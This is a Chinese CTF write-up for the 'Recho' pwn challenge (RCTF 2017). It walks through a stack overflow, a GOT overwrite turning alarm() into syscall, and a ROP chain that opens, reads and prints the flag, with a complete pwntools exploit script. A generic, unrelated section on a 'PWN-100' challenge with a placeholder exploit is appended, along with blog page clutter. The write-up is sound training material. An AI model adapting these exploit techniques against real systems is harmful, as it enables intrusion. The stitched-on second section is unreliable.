攻防世界(pwn)Recho(XCTF 3rd-RCTF-2017) writeup

checksec
64位程序,保护如上
main()
可以分析出程序大意,先读取字符串长度存入nptr与v7中,如果字符串长度小于15时将v7设为16,大于15则不变。然后读取v7个字符放入buf中,最后在末尾添上0并打印出来。
漏洞很显然,如果v7很大,则read会造成溢出并覆盖。但是分析发现要利用这个漏洞还是没有那么简单的。

Tips1.

主函数中有while循环判断是否读入结束,手动输入的时候可以ctrl+D表示输入结束,查阅资料以后发现pwntools竟然也有这个功能:

io.shutdown('send')

Tips2.

可以发现程序中给了flag字符串
shift+F12
Tips3.

找到了程序留的后门,我的第一反应是泄露地址,ret-to-libc。但突然发现,结束程序输入以跳出循环后无法再次输入payload,因为关闭了输入流就无法打开,除非重新运行程序…所以只能一次性搞定,遂放弃泄露地址,所以怎样ROP呢?

利用思路:

劫持GOT表执行syscall,系统调用open()打开flag文件,读出并打印

实现细节:

1. 修改alarm()为syscall

程序中没有给出open()函数,而open()属于系统调用,调用号为2。
故首先修改一个无用的系统调用函数(这里选alarm())的got表项为syscall,使调用alarm()函数时会执行系统调用,这里我们在alarm()设置断点gdb调试, 可以看到在0x5偏移处调用了syscall
alarm()
同时ROPgadget寻找代码碎片,记录
add_rdi_ret = 0x40070d
ROPgadget
pop_rax_ret = 0x4006fc
在这里插入图片描述
pop_rdi_ret = 0x4008a3
在这里插入图片描述
故如下构造

# alarm() ---> syscall
# alarm_got = alarm_got + 0x5

payload = 'a' * 0x38

# rdi = alarm_got
payload += p64(pop_rdi_ret) + p64(alarm_got)
# rax = 0x5
payload += p64(pop_rax_ret) + p64(0x5)
# [rdi] = [rdi] + 0x5 
payload += p64(add_rdi_ret)

2.fd = open(“flag”,READONLY)

提前将rax设为2后syscall即可调用open()
flag = 0x601058
pop_rsi_ret = 0x4008a1
ROPgadget
故如下构造

# fd = open("flag" , 0)

# rdi = &"flag"
payload += p64(pop_rdi_ret) + p64(flag)
# rsi = 0 (r15 = 0)
payload += p64(pop_rsi_ret) + p64(0) + p64(0)
# rax = 2
payload += p64(pop_rax_ret) + p64(2)
# open("flag" , 0)
payload += p64(alarm_plt)

3.read(fd,flag_buffer,50)

打开了flag文件后可以将内容用read读出,存放到一个可读写的位置,这里选bss+0x500
关于fd,一般open一个文件fd=3,打开第二个文件fd=4,以此类推
pop_rdx_ret = 0x4006fe
在这里插入图片描述
故构造如下:

# read(fd, bss+0x500, 50)

# rdi = 3
payload += p64(pop_rdi_ret) + p64(3)
# rsi = bss+0x500 (r15 = 0)
payload += p64(pop_rsi_ret) + p64(bss+0x500) + p64(0)
# rdx = 50
payload += p64(pop_rdx_ret) + p64(50)
# read(3, bss+0x500, 50)
payload += p64(read_plt)

4.printf(flag_buffer)

用printf()或write()输出flag内容

#print flag

# rdi = bss + 0x500
payload += p64(pop_rdi_ret) + p64(bss+0x500)
# printf(bss+0x500)
payload += p64(printf_plt)

总结:

exp如下

#! /usr/bin/env python
from pwn import *
context.log_level = 'debug'
elf=ELF('./773a2d87b17749b595ffb937b4d29936')
p=remote('111.198.29.45',*****)
prdi=0x4008a3
prsi=0x4008a1
prdx=0x4006fe
prax=0x4006fc
padd=0x40070d
alarm=elf.plt['alarm']
read=elf.plt['read']
write=elf.plt['write']
printf=elf.plt['printf']
alarm_got=elf.got['alarm']
flag=0x601058
bss=0x601090
payload='a'*0x38
payload+=p64(prax)+p64(0x5)
payload+=p64(prdi)+p64(alarm_got)
payload+=p64(padd)
payload+=p64(prax)+p64(0x2)
payload+=p64(prdi)+p64(flag)
payload+=p64(prdx)+p64(0)
payload+=p64(prsi)+p64(0)+p64(0)
payload+=p64(alarm)
payload+=p64(prdi)+p64(3)      
payload+=p64(prsi)+p64(bss+0x500)+p64(0)
payload+=p64(prdx)+p64(0x30)
payload+=p64(read)
payload+=p64(prdi)+p64(bss+0x500)
payload+=p64(printf)
p.recvuntil('Welcome to Recho server!\n')
p.sendline(str(0x200))
payload=payload.ljust(0x200,'\x00')
p.send(payload)
p.recv()
p.shutdown('send')
p.interactive()
p.close()
### 关于攻防世界PWN-100题目的解答 #### 解决方案概述 对于攻防世界PWN-100题目,通常涉及的是基础的缓冲区溢出攻击。这类题目旨在测试参赛者对Linux防护机制的理解程度以及绕过这些保护措施的能力。常见的技术包括但不限于返回导向编程(Return-Oriented Programming, ROP)、重定向到已知位置的shellcode执行(ret2shellcode)或是利用动态链接库中的函数实现系统命令调用(ret2libc)[^1]。 #### 技术细节 当面对没有启用地址空间布局随机化(ASLR)且未开启不可执行堆栈(NX bit off)的情况时,可以直接采用`ret2shellcode`的方式解决问题。此方法要求选手能够找到足够的空间放置自定义的shellcode,并通过控制EIP指向这段代码来完成最终的目标——通常是打开一个远程shell连接给攻击者[^3]。 如果遇到开启了NX位但是禁用了位置独立可执行文件(PIE),那么可以考虑使用`ret2libc`策略。这种方法依赖于将返回地址设置为标准C库(glibc)内的某个有用功能的位置,比如system()函数,从而间接地触发所需的恶意操作而无需注入新的机器码片段。 针对具体环境下的不同情况,还需要掌握诸如IDA Pro这样的反汇编工具来进行二进制分析工作;同时熟悉GDB调试技巧以便更好地理解程序内部逻辑并定位潜在的安全漏洞所在之处。 ```python from pwn import * # 连接到远程服务 conn = remote(&#39;challenge.ctf.games&#39;, PORT) # 发送payload前先接收初始消息 print(conn.recvline()) # 构造payload offset = 64 # 假设偏移量为64字节 junk = b&#39;A&#39; * offset return_address = pack(&#39;<I&#39;, 0xdeadbeef) # 替换为目标地址 exploit_payload = junk + return_address # 发送payload conn.send(exploit_payload) # 接收响应数据 result = conn.recvall() print(result.decode()) ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值